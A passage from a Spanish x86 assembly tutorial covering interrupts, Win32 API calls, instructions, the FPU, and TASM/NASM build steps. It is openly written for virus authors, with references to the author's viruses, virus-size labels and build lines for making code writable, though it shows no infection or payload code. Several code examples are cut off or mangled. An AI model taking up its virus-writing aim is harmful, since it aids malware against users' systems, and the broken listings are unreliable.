las cosas (que personalmente no es que me guste mucho pero vamos, el caso es que se
usa...)
> mov eax,<valor1> mov ebx,<valor2> push eax push ebx call Producto > [...] ; Suponemos
que EAX contiene N, y EBX, contiene M. Producto: mov eax,dword ptr [ESP+8] mov ebx,dword
ptr [ESP+4] xor edx,edx ; Aquí vamos a almacenar el resultado final. La operación xor edx,edx
hace EDX = 0. LoopSuma: ; Esto, es una etiqueta add edx,eax ; A EDX, que contendrá el
resultado final, le sumamos el primer multiplicando dec ebx jnz LoopSuma ; Si el resultado de
decrementar el multiplicando EBX es cero, no sigue sumando el factor de EAX.
Así como los apartados 5.1, 5.2 y 5.3 son bastante importantes, a quienes se vean abrumados
por todo esto ya les digo que pueden saltarse tranquilamente el apartado 5.4 (dedicado al
coprocesador) . Se van a perder poco si se los saltan en el sentido de que si les resulta ya
agotador todo lo aprendido hasta el momento, esto puede que les despiste del verdadero
objetivo en el sentido de que no es necesario entenderlo para escribir virus ni para aprender
ensamblador; se trata de un poquito de "cultura general" sobre cómo funcionan las cosas
internamente (en cualquier caso he intentado dar una visión poco profunda en ese apartado
precisamente para no marear a nadie).
Interrupciones y API
Introducción
La API es, como decíamos en el segundo capítulo de este tutorial, la herramienta por la cual
nos comunicamos con el sistema operativo y las funciones que este tiene para hacernos la
vida más fácil. Una operación puede ser abrir un fichero, escribir sobre él, cambiar el
directorio actual o escribir en la pantalla.
Hay dos métodos que vamos a ver en que se usa API del sistema operativo; por interrupciones
pasando los parámetros en registros como hace Ms-Dos, por llamadas a subrutina como hace
Win32, y un híbrido con llamadas a interrupción y paso de parámetros en pila, el sistema
operativo Linux.
Interrupciones en Ms-Dos
Vale, lo primero que hay que tener en la cabeza es que en Ms-Dos *todo* se hace a través de
interrupciones; y que distintas interrupciones llaman a servicios orientados hacia algo
distinto.
¿Qué es una interrupción software?. Se trata de un tipo muy especial de llamada a una
función del sistema operativo (o de otros programas residentes, el sistema es bastante
flexible). La instrucción para hacerlo es INT, y viene acompañada siempre de un número del 0
al 255 (decimal), es decir, del 00h al 0FFh en hexadecimal.
¿Dónde se va la ejecución cuando escribimos por ejemplo "INT 21h"? Bien, en Ms-Dos, en la
posición de memoria 0000:0000 (en Ms-Dos usamos un direccionamiento de 16 bits pero paso
de explicarlo porque a estas alturas es un tanto ridículo jugar con el Ms-Dos) hay una "Tabla
de Vectores de Interrupción" o IVT. Esta IVT, contiene 256 valores que apuntan a distintas
direcciones de memoria, a las que va a saltar la ejecución cuando se haga una INT.
Entonces, si escribimos algo como "INT 21h", lo que va a hacer es leer en la posición de
memoria 0000 + (21*4), el valor que hay, para luego pasar (como si fuera un CALL, empujando
en la pila la dirección de retorno) a ejecutar en esa posición de memoria. En realidad, la
única diferencia con un CALL es que no le indicamos la dirección a la que saltar (el
procesador la lee de la tabla de interrupciones), y que además de empujar el valor de la
dirección de retorno, se empuja también el registro de FLAGS.
Por ello, cuando se acaba de ejecutar el servicio solicitado de la interrupción, esta rutina no
acaba en un RET, sino en lo que antes habíamos mencionado, en un IRET; la función de esta
instrucción es sencilla: saca la dirección de retorno y los flags, en lugar de tan sólo la
dirección de retorno.
Como ejemplo práctico, el tipo de función en Ms-Dos dentro de una interrupción suele
indicarse en EAX, y los parámetros en el resto de registros (EBX, ECX y EDX normalmente). Por
ejemplo, cuando queramos abrir un fichero como sólo lectura tenemos que hacer lo siguiente:
mov ax, 3D02h ; el 3D indica "abrir fichero", y el 02h indica "en lectura y escritura" mov dx,
offset Fichero ; Apuntamos al nombre del fichero int 21h ; Ahora, se abrirá el fichero (paso de
explicar todavia qué es un handler xD) Fichero: db 'fichero.txt',0
Bueno, nos hemos encontrado (qué remedio) una cosa nueva de la que no habíamos hablado
antes... esto de "db" significa "data byte", vamos, que estamos indicando datos "a pelo", en
este caso el nombre de un fichero. Y sí, hay una coma, indicando que después de esos datos
"a pelo" se ponga un byte con valor cero (para delimitar el fin del nombre del fichero). DX va
a apuntar a ese nombre de fichero y AX indica la función... y voilá, fichero abierto.
Destacar otra cosa: existen dos instrucciones que sirven para activar o inhabilitar las
interrupciones (ojo, que inhabilitar no las deshace por completo, pero sí impide la mayor
parte; es útil por ejemplo al cambiar los valores de SS/SP para que no nos pete en la cara).
CLI (CLear Interrupts) inhabilita las interrupciones, y STI (SeT Interrupts) las activa.
Otra cosa: se puede ver que no estoy usando registros extendidos, que uso AX y DX en vez de
EAX y EDX... en fin, recordad hace cuánto que existe el Ms-Dos y así respondéis a la
pregunta :-)
Y en fin, que esto es el sistema de interrupciones en Ms-Dos, que me niego a volver a tocar
porque es perder el tiempo: a quien le interese que escriba en un buscador algo así como
"Ralf Brown Interrupt List", que es una lista salvaje que tiene todas las funciones habidas y
por haber para interrupciones de Ms-Dos. Las más importantes están dentro de la INT 21h,
que controla cosas como el acceso a ficheros (creacion, lectura/escritura, borrado...) y
directorios.
La Int80h y Linux
En Linux pasa tres cuartas de lo mismo, pero todas las funciones del sistema están reunidas
bajo una sóla interrupción, la 80h. Vamos a tener 256 posibilidades, que se indican en AL
(bueno, podemos hacer un //MOV EAX,// igualmente).
Hay algunas diferencias básicas con el sistema de Ms-Dos. La primera es más "teórica" y hace
referencia a la seguridad. Cuando estamos ejecutando normalmente, el procesador tiene
privilegio de "usuario". Cuando llamamos a la INT80h, pasamos a estado de supervisor y el
control de todo lo toma el kernel. Al terminar de ejecutarse la interrupción, el procesador
vuelve a estar en sistema usuario (y por supuesto con nivel de usuario el proceso no puede
tocar la tabla de interrupciones). Con Ms-Dos digamos que siempre estamos en supervisor,
podemos cambiar los valores que nos salga de la tabla de interrupciones y hasta escribir sobre
el kernel... pero vamos, lo importante, que con este sistema, en Linux está todo "cerrado", no
hay fisuras (excepto posibles "bugs", que son corregidos, a diferencia de Windows).
Respecto al paso de parámetros, se utilizan por órden EBX, ECX, etc (y si la función de
interrupción requiere muchos parámetros y no caben en los registros, lo que se hace es
almacenar en EBX un puntero a los parámetros.
mov eax, 05h ; Función OpenDir (para abrir un directorio para leer sus contenidos) lea ebx,
[diractual] ; LEA funciona como un "MOV EBX, offset diractual"; es más cómodo. xor ecx, ecx
int 080h diractual: db '.',0 ; Queremos que habra el directorio actual, o sea, el '.'
Bajo Win32 (95/98/Me/NT/etc) no vamos a utilizar interrupciones por norma general. Resulta
que la mayor parte de funciones del sistema están en una sóla librería, "KERNEL32.DLL", que
suelen importar todos los programas.
DLL significa Librería Dinámica, y no solo tiene porque tener funciones "básicas" (por ejemplo,
en Wininet.DLL hay toda una serie de funciones de alto nivel como enviar/coger fichero por
FTP). Lo que sucede es que cuando un programa quiere hacer algo así (pongamos estas
funciones de FTP) tiene dos posibilidades: uno, las incorpora a su código, y dos, las coge de
una librería dinámica. ¿Cuál es la ventaja de esto? Bien, cuando usamos una librería dinámica
no tenemos que tener diez copias de esa rutina en cada uno de los programas compilados; al
estar en la DLL, el primer programa que la necesite la pide, la DLL se carga en memoria, y se
usa una sóla copia en memoria para todos los programas que pidan servicios de ella.
En palabras sencillas; tenemos la función MessageBox, por ejemplo, que abre una ventana en
pantalla mostrando un mensaje y con algún botón del tipo OK, Cancelar y tal. ¿Qué es más
eficiente, tener una librería que sea consultada por cada programa, o tener una copia en
cada uno?. Si cada programa ocupa 100Kb de media y la librería 10Kb, al arrancar 10 veces el
programa si tuviéramos el MessageBox en DLLs, el espacio en memoria sería de 1010Kb (y en
disco, igual). En caso de que no usáramos DLLs y la función MessageBox estuviera en cada
programa, tendríamos 1100Kb de memoria ocupada (y de disco). Por cierto, que el Linux
también usa librerías dinámicas, sólo que para programar en ASM sobre él normalmente nos
va a sobrar con lo que tengamos en la Int80h.
Volviendo al tema, la forma de llamar a una función de la API en Win32 es como lo que
comentábamos de paso de parámetros al final del apartado dedicado a subrutinas. Todos los
valores que han de pasársele a la función se empujan a la pila, y luego se hace un CALL a la
dirección de la rutina. El aspecto de una llamada a la API de Win32 (exáctamente a
MessageBox), es así:
La mayoría de las funciones que se van a utilizar están en KERNEL32.DLL. No obstantes hay
otras, como USER.DLL, bastante importantes. Podemos ver si un ejecutable las importa si
están en su "tabla de importaciones" dentro del fichero (es decir, que está indicado que se
usen funciones de ellas). Una de las cosas más interesantes sobre este sistema, será que
podemos cargar DLLs (con la API LoadLibrary) aún cuando ya se haya cargado el programa, y
proveernos de servicios que nos interesen.
Una lista bastante interesante de funciones de la API de Windows está en el típico CD del
//SDK// de Windows; puede encontrarse también por la Red, se llama win32.hlp y ocupa más
de 20Mb (descomprimido).
Datos
La forma más básica de representar datos "raw", o sea, "a pelo", es usar DB, DW o DD. Como
se puede uno imaginar, B significa byte, W word y D Dword (es decir, 8, 16 y 32 bits). Cuando
queramos usar una cadena de texto - que encerraremos entre comillas simples -, usaremos
DB. Así, son válidas expresiones como las siguientes:
db 00h, 7Fh, 0FFh, 0BAh dw 5151h dd 18E7A819h db 'Esto también es una cadena de datos' db
'Y así también',0 db ?,?,? ; así también... esto indica que son 3 bytes cuyo valor nos es
indiferente.
Hay una segunda forma de representar datos que se utiliza cuando necesitamos poner una
cantidad grande de ellos sin describir cada uno. Por ejemplo, pongamos que necesito un
espacio vacío de 200h bytes cuyo contenido quiero que sea "0". En lugar de escribirlos a pelo,
hacemos algo como esto:
Etiquetas
Ya hemos visto el modo más sencillo de poner una etiqueta; usar un nombre (ojo, que hay
que estar pendiente con mayúsculas/minúsculas porque para ensambladores como Tasm,
"Datos" no es lo mismo que "dAtos" o que "datos"), seguido de un símbolo de ":". Cualquier
referencia a esa etiqueta (como por ejemplo, MOV EAX,[Datos]), la utiliza para señalar el
lugar donde ha de actuar.
Pero hay más formas de hacer referencias de este tipo; podemos marcar con etiqueta un byte
escribiendo el nombre y a continuación "label byte" (etiquetar byte). Un ejemplo (y de paso
muestro algo más sobre lo que se puede hacer) sería esto:
virus_init label byte <código> <código> virus_end label byte virus_length equ virus_end -
virus_init
Parece que siempre que meto un ejemplo saco algo nuevo de lo que antes no había hablado...
pero bueno, creo que se entiende; marcamos con label byte inicio y fin del virus, y hacemos
que el valor virus_length equivalga gracias al uso de "equ", a la diferencia entre ambos (es
decir, que si el código encerrado entre ambas etiquetas ocupa 300 bytes, si hacemos un "MOV
EAX, virus_length" en nuestro código, EAX pasará a valer 300).
Comentarios
Conocemos en este punto de sobra la forma standard de incluir comentarios al código, esto
es, utilizando el punto y coma. Todo lo que quede a la derecha del punto y coma será
ignorado por el programa ensamblador, con lo que lo utilizaremos como comentarios al
código.
Hay otro método interesante presente en el ensamblador Tasm, que señala el inicio de un
comentario por la existencia de la cadena "Comment %". Todo lo que vaya después de esto
será ignorado por el ensamblador hasta que encuentre otro "%", que marcará el final:
Comment % Esto es un comentario para Tasm y puedes escribir lo que quieras entre los
porcentajes. %
10 - Ensamblador VI
En este apartado, veremos unas cuantas instrucciones que me ha faltado mencionar hasta
ahora y que son muy útiles a la hora de programar en ensamblador. Para ver una lista
completa recomiendo ir a www.intel.com y buscar su documentación (se encuentra en
formato PDF). En el siguiente apartado, el 5.4, menciono otras cuantas operaciones que
pueden resultar útiles, aunque no sean tan necesarias como estas.
CLC/STC
Se trata de dos instrucciones que manejan directamente los valores del Carry Flag. CLC
significa CLear Carry (lo pone a cero como es de suponer) y STC es SeT Carry (poniéndolo a 1).
Ya hemos visto como podemos operar con un registro o una posición de memoria con
operaciones aritméticas (ADD, SUB, etc) y lógicas (AND, OR, etc). Nos faltan pues las
instrucciones de desplazamiento lateral, de las que hay de dos tipos:
-Rotación: Aquí tenemos ROL y ROR, que significa ROtate Left y ROtate Right. El modo de
funcionamiento es sencillo; si ejecutamos un ROR EAX,1, todos los bits de EAX se moverán un
paso a la derecha; el primer bit pasará a ser el segundo, el segundo será el tercero, etc. ¿Qué
pasa con el último bit, en este caso el bit 32?. Bien, es sencillo, este bit pasará a ser ahora el
primero.
-Desplazamiento aritmético: Tenemos aquí a las instrucciones SHL y SHR, es decir, SHift Left
y SHift Right. La diferencia con ROL/ROR es sencilla, y consiste en que todo lo que sale por la
izquierda o por la derecha se pierde en lugar de reincorporarse por el otro lado.
Es decir, si hacemos un SHL AL,2 al AL aquel que decíamos antes y que valía 01100101, el
resultado será en esta ocasión 10010100 (los dos últimos espacios se rellenan con ceros). Es
interesante notar que un SHL de una posición es como multiplicar por dos la cifra, dos
posiciones multiplicar por 4, tres por 8, etc.
De cadena
Existe toda una serie de instrucciones en el ensamblador 80x86 dedicadas a tratar cadenas
largas de bytes; en estas instrucciones vamos a encontrar algunas como MOVSx, CMPSx,
SCASx, LODSx y STOSx:
-MOVSx: La x (y lo mismo sucede con el resto) ha de ser sustituída por una B, una W o una D;
esto, indica el tamaño de cada unidad con la que realizar una operación (B es Byte, 8 bits, W
es Word, 16 bits, y D es Dword, 32 bits). Cuando se ejecuta un MOVSx, se leen tantos bytes
como indique el tamaño de la "x" de la dirección DS:[ESI], y se copian en ES:[EDI]. Además, los
registros ESI y EDI se actualizan en consecuencia según el "movimiento realizado".
-SCASx: Compara el byte, word o dword (según el valor de "x") en ES:EDI con el valor de //AL,
AX o EAX //según la longitud que le indiquemos, actualizando el registro de flags en
consecuencia. La utilidad de esta instrucción, reside en la búsqueda de un valor "escaneando"
(de ahí el nombre de la instrucción) a través del contenido de ES:EDI (recordemos que, como
en las anteriores, EDI se incrementa tras la instrucción en el valor indicado por la "x").
-LODSx: Carga en AL, AX o EAX el contenido de la dirección de memoria apuntada por DS:ESI,
incrementando luego ESI según el valor de la "x". Es decir, que si tenemos en DS:ESI los
valores "12h, 1Fh, 6Ah, 3Fh", un LODSB pondría 12h en AL, LODSW haría AX como 1F12h, y
LODSD daría a EAX el valor de 03F6A1F12h.
-STOSx:La operación contraria a LODSx, almacena AL, AX o EAX (según lo que pongamos en la
"x") en la dirección apuntada por ES:EDI, incrementando después EDI según el valor de la "x".
Ejemplificando, si por ejemplo AX vale 01FF0h y ES:EDI es "12h, 1Fh, 6Ah, 3Fh", un STOSW
hará que en ES:EDI ahora tengamos "F0h, 1Fh, 6Ah, 3Fh".
La utilidad es muy grande por ejemplo cuando queremos copiar una buena cantidad de datos
de un lugar a otro de memoria. Supongamos que tenemos 200h datos a transferir en un lugar
que hemos marcado con la etiqueta Datos1, y que queremos trasladarlos a una zona de
memoria marcada por Datos2 como etiqueta:
lea esi,Datos1 ; la utilidad de LEA está explicada más adelante; carga en ESI la dirección de
Datos1. lea edi,Datos2 ; lo mismo pero con EDI. mov ecx,200h ; Cantidad de datos a copiar
rep movsb ; Y los copiamos...
- STD/CLD: Aunque es de un uso escaso, hay un flag en el registro de EFLAGS que controla
algo relacionado con todo esto de las instrucciones de cadena. Estamos hablando del
"Direction Flag", que por defecto está desactivado; cuando así es y se lleva a cabo alguna
(cualquiera) de las operaciones de cadena anteriormente especificadas, ESI y/o EDI se
incrementan de la forma ya mencionada. Sin embargo, cuando este flag está a "1", activado,
ESI y/o EDI en la operación se decrementan en lugar de incrementarse.
La función entonces de las dos instrucciones indicadas, STD y CLD, es la de tener un control
directo sobre ésta cuestión. La órden STD significa Set Direction Flag; pone a "1" este flag
haciendo que al realizarse la operación los punteros ESI y/o EDI se decremente(n). La órden
-CLD significa Clear Direction Flag, y lo pone a "0" (su estado habitual), tornando en
incremental la variación del valor de los punteros al llevarse a cabo las operaciones de
cadena.
LEA
El significado de LEA, es "Load Effective Adress"; calcula la dirección efectiva del operando
fuente (tiene dos operandos) y la guarda en el primer operando. El operando fuente es una
dirección de memoria (su offset es lo que se calcula), y el destino es un registro de propósito
general. Por ejemplo:
LEA EDX, [Etiqueta+EBP]: En EDX estará la dirección de memoria a la que equivale Etiqueta +
EBP (ojo, la dirección, NO el contenido).
LOOP
mov ecx, 10h ; Queremos que se repita 10h veces. Bucle: > > loop Bucle
Como es lógico, el loop actuará ejecutando lo que hay entre "Bucle" y él 10h veces, cada vez
que llegue al LOOP decrementando ECX en uno.
XCHG
Existe una variante, XADD, que lo que hace es intercambiarlos igual, pero al tiempo sumarlos
y almacenar el resultado en el operando destino. Esto es:
XADD EAX,EBX: Lo que hará es que al final EBX valdrá EAX, y EAX, la suma de ambos.
A veces no queremos operar con bytes completos, sino quizá poner a 1 un sólo bit, a 0, o
comprobar en qué estado se encuentra. Bien que esto se puede hacer utilizando instrucciones
como el AND (por ejemplo, si hacemos AND AX,1 y el primer bit de AX no está activado el flag
de Zero se activará, y no así en otro caso), OR (los bits a 1 de la cifra con la que hagamos el
OR activarán los correspondientes del origen y un 0 hará que nada varíe), y de nuevo AND
para poner a cero (los bits del operando con el AND puestos a 1 no variarán, y los 0 se harán
0...).
El caso, que tenemos instrucciones específicas para jugar con bits que nos pueden ser útiles
según en qué ocasiones (un ejemplo de utilización se puede ver en el código de encriptación
de mi virus Unreal, presente en 29A#4). Estas son:
-BTS: Bit Test and Set, el primer operando indica una dirección de memoria y el segundo un
desplazamiento en bits respecto a esta. El bit que toque será comprobado; si es un 1, se
activa el carry flag (comprobable con JC, ya se sabe) y si es 0, pues no. Además, cambia el
bit, fuera cual fuese en principio, a un 1 en la localización de memoria indicada. Por
ejemplo, un "BTS [eax+21],16h" contaría 16h bits desde la dirección //"eax+21"//,
comprobaría el bit y lo cambiaría por un 1.
- BTR: Bit Test and Reset, como antes el primer operando se refiere a una dirección y el
segundo a un desplazamiento. Hace lo mismo que el BTS, excepto que cambia el bit indicado,
sea cual sea, por un 0.
-BT: Bit Test, hace lo mismo que las dos anteriores pero sin cambiar nada, sólo se dedica a
comprobar y cambiar el Carry Flag.
-BSWAP: Pues eso, Bit Swap... lo que hace es ver el desplazamiento con el segundo operando
(el formato, como en las anteriores), y cambiar el bit; si era un 1 ahora será un 0 y viceversa.
-BSF: Bit Scan Forward, aquí varía un poco el tema; se busca a partir de la dirección indicada
por el segundo operando para ver cuál es el bit menos significativo que está a 1. Si al menos
se encuentra uno, su desplazamiento se almacenará en el primer operando. Es decir, si
hacemos BSF EAX,[EBX] y en EBX tenemos la cadena 000001xxx, EAX valdrá 5 tras ejecutar
esta instrucción. Tenemos también una instrucción, BSR, que hace lo mismo pero buscando
hacia atrás (Bit Scan Reverse).
CPUID
Se trata de una instrucción que devuelve el tipo de procesador para el procesador que
ejecuta la instrucción. También indica las características presentes en el procesador, como si
tiene coprocesador (FPU o Floating Point Unit). Funciona en todo procesador a partir de
80486.
-Si EAX = 0: Aquí lo que estamos haciendo es comprobar la marca. Por ejemplo, con un Intel,
tendríamos EBX = "Genu", ECX = "ineI' y EDX = "ntel". En el caso de AMD, tendremos EBX =
"Auth", ECX = "enti" y EDX = "cAMD".
-Si EAX = 1: En este caso, se intenta averiguar características de la familia del procesador. En
EAX, se devuelve la información de esta, así:
//31-14: Sin usar 13-12: Tipo de Procesador 11-8: Familia del Procesador 7-4: Modelo de
Procesador 3-0: Stepping ID //
También en la web de Intel se puede encontrar información más detallada a este respecto.
Reproduzco de todas formas, una tabla con los valores de diferentes procesadores que saqué
hace tiempo (es escasa y no tiene en cuenta K6-3, K7 y Pentium III, pero sirve como muestra):
11 - Ensamblador VII
Conceptos básicos
El coprocesador matemático o FPU (Floating-Point Unit) utiliza números tanto reales como
enteros, y se maneja mediante instrucciones integradas en el grupo común que utilizamos; es
decir, que simplemente tiene sus instrucciones específicas que él va a utilizar.
Así, podemos ver que son 80 los bits que tiene cada registro de la FPU. Estos registros son
ocho en total, y sus nombres consisten en una R seguida de un número, yendo desde R0 a R7.
La forma de acceder a los registros no es como en la CPU. Por decirlo de alguna manera, se
forma una pila de registros con estos ocho registros de datos, operándose con el primero en
esta pila (que llamamos ST(0)) y con varias instrucciones para mover los propios registros del
copro con este objetivo.
Por supuesto, el resultado de esta suma entre el primer y tercer valor de la pila del
coprocesador, almacenará el resultado en esta parte superior de la pila (ST), desplazando al
resto en una posición hacia abajo (el anterior ST será ahora ST(1), y el ST(2) será ahora
ST(3)). El sistema puede resultar - y de hecho es - algo lioso, pero todo se aclara si se utiliza
un buen debugger y se comprueba a mano lo que estoy diciendo, y cómo la FPU administra
sus registros.
Como no me quiero entretener mucho con esto - que probablemente nadie vaya a usar -,
pasaré directamente a utilizar un ejemplo bastante ilustrativo de lo que sucede cuando
estamos utilizando la FPU.
Pretendemos, en el ejemplo siguiente, llevar a cabo la operación (10 x 15) + (17 x 21):
Una referencia completa de las instrucciones utilizadas por la FPU (que son muchas y
permiten coger o guardar en memoria, transferir a un formato que entiendan los registros del
procesador y viceversa y unas cuantas operaciones como incluso senos y cosenos), recomiendo
echarle un vistazo a los manuales de Intel - aunque son medianamente oscuros con el tema.
Sé que las utilidades que he escogido no serán del gusto de todos por diversos motivos; los
dos compiladores de los que hablo (TASM y NASM, para Windows y Linux) creo que son de lo
mejorcito que se puede encontrar
-bien, podría haber hablado del GAS, GNU Assembler, en Linux, pero sinceramente odio el
formato At&t de ensamblador, y lo interesante es que de programar en el formato que acepta
TASM a hacerlo en el que acepta NASM hay muy pocas diferencias, con lo que lo que se
aprende para uno puede servir bastante para el otro. El NASM sin embargo tiene algún
problema incomprensible (por ejemplo, no compila la instrucción RDTSC pero tampoco indica
que hayan errores).
El mismo motivo ha hecho que de cara a debuggers, detalle para Linux el ALD en lugar del
GDB; bien que GDB es un debugger mucho más potente, pero ALD es mucho más sencillo de
utilizar (entre otras cosas porque es parecido al Debug del Dos, y porque no usa el formato
At&t). Esta razón de sencillez de uso es la que también hace que hable del Turbo Debugger 32
en Windows y no del Softice. Aunque Softice es la verdadera herramienta para trabajar en
Windows, Turbo Debugger es mucho más sencillo y se puede aprender en diez minutos (para
el Softice habría que dedicar un capítulo entero, aunque es cierto que merecería la pena).
TASM (Windows/Ms-Dos)
Introducción
En los lenguajes de alto nivel no tenemos control sobre las instrucciones en ensamblador que
se están generando, pero en ASM dado que estamos escribiendo en el lenguaje de la propia
máquina, tenemos el dominio total sobre la situación.
Aunque el paquete con el que viene TASM ocupe comprimido el equivalente a 5 diskettes y
tenga unas cuantas cosas, hay dos ficheros en particular que son los que vamos a utilizar con
mayor frecuencia. TASM viene con unas cuantas utilidades incorporadas, como el propio
Turbo Debugger, un extractor de listados de APIs para utilizar en nuestros programas y alguna
cosilla más, pero en principio nos vamos a reducir a dos,
TASM32.EXE y TLINK32.EXE
TASM32.EXE
El primer paso al compilar nuestro listado va a ser ejecutar esta utilidad, que va a realizar el
compilado del fichero. La forma de utilización básica es "Tasm32 ", aunque vamos a necesitar
indicarle algunos parámetros, como por ejemplo:
-m#: Aquí el # es un número que indica cuantos "repasos" para resolver llamadas y referencias
se van a dar. Es importante delimitarlo, puesto que si pegamos una o dos pasadas (m1, m2),
muchas veces nos van a dar fallos que no deberían. Personalmente suelo ponerlo a 5 pasadas.
-q: Supresión de partes no necesarias para el linkado (la segunda fase, que explicaremos más
adelante).
-i: Indica el path para los ficheros que incluyamos con la directiva "include" en el propio
código.
Esto sólo son algunos ejemplos de parámetros que se indican al compilador; por suerte si
escribimos simplemente "tasm32", se nos mostrará la lista de parámetros con una pequeña
explicación de lo que hace cada uno. Personalmente, suelo utilizar para compilar una línea
tipo "tasm32 -ml -m5 -q -zn nombrevirus.asm"
Por supuesto, si algo está mal escrito en nuestro código, el compilador nos indicará
amablemente en qué número de línea hemos metido la zarpa y a ser posible el tipo de fallo
que ha habido.
TLINK32.EXE
-Txx: Indica el tipo de fichero que queremos generar. Si queremos hacer un ejecutable de
Windows, pondremos -Tpe (PE es el formato de fichero en Windows95, 98 y NT). -Tpd
indicaría que queremos hacer un .DLL
-aa: Con esta opción indicamos que usamos la API de Windows, por defecto está bien ponerla
y tal.
De nuevo, tenemos suerte y ejecutando Tlink32 sin parámetros nos va a explicar los que
podemos utilizar. Un ejemplo típico de uso sería algo como "tlink32 -v -Tpe -c -x -aa
nombrevirus,,, import32".
Hay un par de cosas a destacar en esta línea, aunque tampoco quiero profundizar (es de esas
cosas que se pueden utilizar sin entender, al fin y al cabo xD). En primer lugar, que no
escribimos el ".asm" al final del nombre del fichero origen, en segundo lugar que tenemos tres
comas y algo llamado "import32" por ahí que de momento no sabemos lo que es.
El tema del import32, consiste en que hay un fichero bastante standard y bastante distribuído
(creo yo que viene con la distribución del TASM, pero sino se puede encontrar fácilmente)
llamado import32.lib, que por así decirlo nos facilita poder acceder a la API de Windows. Es
decir, si yo quiero ejecutar alguna llamada a la API de Windoze, tengo que importar esa
librería donde se hace referencia a estas APIs. En cualquier caso, si no la encontrais podéis
fabricaros una utilizando el IMPLIB.EXE sobre las librerías que tenéis en windows\system.
Particularidades de TASM
A continuación, copio un pequeño listado improvisado donde paso a comentar lo que sucede,
que me parece mejor que simplemente ir listando cosas. Puede que me deje alguna, pero en
cualquier caso en la propia página tenéis un virus de windows que sirve de ejemplo bastante
bien:
; modelo de procesador (486 modo protegido, conviene dejarlo así como standard)
.model flat
; lo mismo digo (esto hace referencia al modelo de memoria, flat) NULL EQU 00000000h
MB_ICONEXCLAMATION EQU 00000030h ; Esto hace que cuando escribamos p.ej "NULL", el
ensamblador ;lo vaya a interpretar como un 0. EQU es "equivale a", y es util ;usarlo para no
tener que recordar valores absurdos (el ;MB_ICONEXCLAMATION es el valor que indica que una
ventana pop-up ;muestre una exclamación) extrn ExitProcess: proc extrn MessageBoxA: proc
extrn GetProcAddress: proc ; Esto son las APIs que estamos importando para utilizar en
nuestro ;código. Para ello tenemos que escribir el nombre de la API antes de ;los : y el proc
(sencillo, no?)
.data
; Sección de datos del ejecutable. La haremos de tamaño 1 byte (¿y por qué no? xD)
db ? .code ; Ahora viene la parte seria, la sección de código de nuestro programa Start: ; Esta
primera etiqueta es algo que hay que recordar, porque luego ;la vamos a cerrar al final.
push MB_ICONEXCLAMATION
push NULL
end Start
;Esto es el final del código, y se indica con "end" seguido de ;la etiqueta que pusimos al
principio del código.
Supongo que me dejaré unas cuantas cosas, pero al menos con esto tenéis una idea del
aspecto que ha de tener un fichero en ensamblador de cara a ser compilado con TASM, y las
pequeñas chorraditas que hay que meter para que funcione.
Personalmente, suelo utilizar un fichero .BAT para que me haga la compilación; un detalle, si
tenéis datos metidos en la sección de código, al compilar el programa la sección de código no
va a ser escribible (normalmente no se modifican las secciones de código). Para ello os
recomiendo que os hagáis con una utilidad llamada pewrsec de Jacky Qwerty (facilita de
encontrar). A lo que iba, este es un ejemplo de un fichero BAT para compilar un programa:
tasm32 -ml -m5 -q -zn viruz.asm tlink32 -v -Tpe -c -x -aa viruz,,, import32 pewrsec viruz.exe
No viene nada mal no tener que estar escribiendo líneas enteras de memoria y tal, ya sabéis
xD. Haceos algo como esto y olvidaos lo antes posible de tener que cambiar algo de cara al
TASM, así os podéis centrar en programar que es al fin y al cabo lo que todos queremos hacer,
¿no?.
¿Y de dónde me lo bajo?
12 - Ensamblador VIII
NASM (Linux)
Así pues, la línea standard que usaremos con el NASM para compilar será algo como "NASM
fichero.asm -o fichero.tmp -f elf".
La siguiente fase requiere tirar del GCC para acabar de compilar el fichero. La verdad es que ni
me acuerdo de cual coño era el significado de las opciones (además estoy usando el
Dreamweaver en Windoze así que comprenderéis que no voy a arrancar el Linux sólo para
mirar las puñeteras opciones xD, RTFM sucker xDD). Importante, pues que -s significa origen
(sorce) y-o destino; mi línea standard con el GCC es "gcc -Wall -g -s fichero.tmp -o
fichero.exec". Una vez ejecutado esto, tendremos en fichero.exec el Elf ejecutable que
estábamos buscando (facilito, ¿no?).
Un detalle, tal y como en Windous conviene usar un BAT y tal sobre todo si vamos a compilar
muchas veces, pues haceros un script tonto que meta estas dos líneas para que escribiendo
"sh loquesea" podáis compilar sin tener que escribir toda la burrada de atrás. Por cierto, que
aquí tenemos el mismo problema que en Windows, es decir, no podemos escribir en la sección
de código por defecto. Creo que está colgada de la web una utilidad que escribí llamada
"dwarf" que lo que hace es coger al fichero elf y cambiar esos parámetros. Así, mi "fichero
standard de compilación" es algo como esto (hago copy&paste de la que uso para mi virus
Lotek):
nasm lotek.asm -o lotek.vir -f elf gcc -Wall -g -s lotek.vir -o lotek.exec dwarf
lotek.exec
Particularidades en NASM
De nuevo, como creo que lo mejor es poneros un listado compilable, pues vamos con ello y
cuento alguna cosita:
BITS 32
; Pues eso, 32 bits no? :)
GLOBAL main SECTION .text
; .text es la sección de código (tanto en Windows como en Linux)
main: ov eax,dword[ebx+09Ch] ; Esta linea de codigo es una estupidez pero sirve para mostrar
una gran ;diferencia (de las pocas) entre TASM/NASM. En el TASM para indicar que ;queremos
leer 4 bytes diríamos mov eax, dword ptr [ebx+09ch], pero aquí ;lo del ptr sobra.
mov eax,1
int 080h ; La interrupción 80h en Linux es recordemos la que vamos a utilizar
casi ;exclusivamente al programar. Ojo aquí una diferencia con TASM, que son ;las formas de
representar en hexadecimal: o le metemos un cero delante y una ;h al final, o hacemos como
en este db que viene ahora: valores:
db 0x0A,0x04; Bien, en este db, retomando lo dicho, usamos el método
alternativo, ;escribir 0x0numero para indicar que es hexadecimal. ; Encima no tenéis ni que
meter el END que había en el TASM, ¿más facil chungo nop?. Bueno vale, seguro que me ;he
olvidado de algo, pero no soy una máquina y esto se aprende de una sóla forma: cogéis la
base que intento dar ;(suponiendo que os esté sirviendo de algo claro xD), cogéis listados en
ASM para aprender a leerlos, y programáis ;a sako...
Y otra vez... ¿de dónde me lo bajo?
En caso del NASM, estamos hablando de una utilidad gratuíta. Aparte del lugar desde donde
se puede llegar, muy recomendable por otros muchos aspectos que
es http://linuxassembly.org, el programa puede bajarse diréctamente de http://nasm.2y.net.
Introducción
Aunque queda muy chulo mirar el código ensamblador de tu programa y darte cuenta de qué
es lo que falla y corregirlo, a veces la cosa se complica y viene bien un poco de ayuda. Con un
debugger (en este caso uno sencillo como el TD), podemos ver a cada momento cual es el
valor de los registros del procesador y cómo afecta la ejecución de las instrucciones a estos
registros y a distintas posiciones de memoria, obteniendo bastante información que nos puede
llevar a su solución.
